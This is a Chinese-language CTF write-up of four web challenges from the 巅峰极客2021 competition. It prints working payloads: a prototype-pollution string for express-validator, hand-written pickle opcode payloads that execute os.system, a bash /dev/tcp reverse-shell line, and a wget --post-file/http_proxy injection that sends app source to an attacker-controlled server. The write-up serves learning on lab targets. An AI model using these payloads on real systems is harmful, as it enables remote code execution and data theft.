0%

巅峰极客2021

巅峰极客2021

这次的题四个web,但是抄原题的抄原题,套娃的套娃,并且感觉题目的重复程度好高。。。虽然垃圾的我做不出来,但是我还是觉得这次的题目没有那种让人眼前一亮或者学到东西的感觉。。。

ezjs

魔改自XNUCA2020 oooooooooldjs,加载图片的地方可以任意文件读取,读了源码加package.json,然后npm audit看一下,能发现是打的一个express-validator的原型链污染,污染完了就是一个pug的rce,pug的rce是复制粘贴就能打的那种,express-validator的原型链污染也是复制粘贴就能打的,但是改了一个地方,原来的题目用了express.json支持json数据解析,所以json直接提交一个对象就能打通,这里没有json解析了,但是没有认真去了解过这个库是怎么处理数据的,不知道怎么样的提交能实现之前同样的效果
一开始在想怎么伪造admin身份,也有可能是打那个session-file-store,但是那个需要获取到session key和能写文件,session-file-store的session也和phpsessionid有点像,前半截文件名,默认路径是./session,后半截是拿key算的签名保证不被伪造,因为前半截的文件名完全没有校验,甚至可以目录穿越去加载session文件,但是这里既读不到key也写不了文件,也不行

需要进行乱按来进行原型链污染,一开始没有意识到抄的payload里面的双引号是在转义json。。。所以抄payload的时候一直带着那个转义符,第二天复盘的时候突然意识到这一点,去掉之后瞬间打通。。。呜呜呜,污染完原型链之后就是复制粘贴打在开启pretty选项时pug的rce,纯复制粘贴题
非json解析下的原型链污染payload
a[__proto__][isadmin]=admin&a"].__proto__["isadmin=222

opcode

手搓pickle的题,加载图片的地方可以任意文件读取,抄的Code-Breaking2018 picklecode,再套了一个XCTF抗疫赛 webtmp的opcode不能有R的限制
直接把picklecode的payload复制粘贴然后改一下把所有R用o和i替换即可
原payload

cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'builtins'
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("whoami")'
tR.

用o替换R

(cbuiltins
getattr
p0
cbuiltins
dict
S'get'
op1
(cbuiltins
globals
op2
00(g1
g2
S'builtins'
op3
0(g0
g3
S'eval'
op4
(g4
S'__import__("os").system("whoami")'
o.

当然,这里出题人显然是抄题加缝合都没认真,复制粘贴了picklecode的过滤但是load那里却没有用自定义的load函数,还是pickle.loads,那不是白给,简单绕过R我直接eval都能给你干碎

(cbuiltins
eval
S'__import__("os").system(\'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"\')'
o.

弹shell时需要对嵌套的引号进行转义

what pickle

又是pickle题,并且和上一个还差不多,加载图片的地方可以wget参数注入任意文件读取。。。。三个题没给源码全都是图片加载处任意文件读取,有意思吗,还不如直接给呢,最后一个题没直接给源码但是有一个www.zip,这几个真给我整无语了
这两个题如此的相似也不知道主办方是怎么审题的。。。

image路由如果乱按不带参数的话会报错,能看到源码的部分,也就是这次的图片加载文件读取和前两个题的区别,可以看出来是wget了本地的一个web服务,服务就五个图片,所以目录穿越什么的都打不了了,可以给wget加参数,但是我不会嘻嘻

@app.route('/images')
def images():
    command=["wget"]
    argv=request.args.getlist('argv')
    true_argv=[x if x.startswith("-") else '--'+x for x in argv]
    image=request.args['image']
    command.extend(true_argv)
    command.extend(["-q","-O","-"])
    command.append("http://127.0.0.1:8080/"+image)
    image_data = subprocess.run(command,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
    return image_data.stdout

搜到的结果都是wget参数注入PHP写文件getshell的,这里没法用,赛后问的rmb神仙,是用http_proxy+post-file两个参数做到任意文件读
post-file选项可以指定发送请求时使用POST方法并携带指定的文件,proxy设置代理,因此只要把代理设置为自己的vps再用post-file把文件带出来就行了

因为参数选项开头不是-就会被加上--,所以要直接等于号赋值来加参数
argv=--post-file%3d/app/app.py&argv=--execute%3dhttp_proxy%3dip:port
一开始觉得execute=后面的内容又有一个等于号,应该用引号括起来,结果反复报错打不通,最后把引号去了反而通了

这里的限制还算是没抄,但是也不难,只允许用config模块内的属性,翻翻opcode看看怎么用就行了

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in ['config'] and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

config里面直接一个eval

SECRET_KEY="On_You_fffffinddddd_thi3_kkkkkkeeEEy"

notadmin={"admin":"no"}

class user():
    def __init__(self, username, data):
        self.username = username
        self.data = data

def backdoor(cmd):
    if isinstance(cmd,list) and notadmin["admin"]=="yes":
        s=''.join(cmd)
        eval(s)

先覆盖掉notadmin再调用backdoor命令执行就行,手写pickle环节,不过听说命令执行之后找不到flag,说是被删了,需要进行奇妙的内存操作
简单的进行变量值的覆盖和命令执行

cconfig
notadmin
S'admin'
S'yes'
s0cconfig
backdoor
(](S'__import__("os").system("whoami")'
etR.

后面的就是为了增加难度套的奇怪东西了,估计是源码一开头那个奇怪的readflag.so的操作
如果是读了删的经典操作可能能去proc里面翻到?剩下的奇怪操作我也就不了解了
因为一开始就卡在了wget读文件上,所以后来的步骤也不知道怎么打了

emlcms

www.zip给了源码,emlcms加了个目录,目录内容是一个curl的ssrf,但是压缩包里的目录实际上是访问不到的,意思是需要先找一个扫目录功能把这个目录扫出来?非常抽象

看到wp了,源码的某个角落里藏了个根目录下有hint.txt,然后这个cms有一个SQL注入可以读文件,hint.txt的内容就是那个ssrf文件的路径,ssrf扫端口在5000上找到一个ssti然后简单打通
好套!出题人牛逼!

参考链接

express-validator 6.6.0 原型链污染分析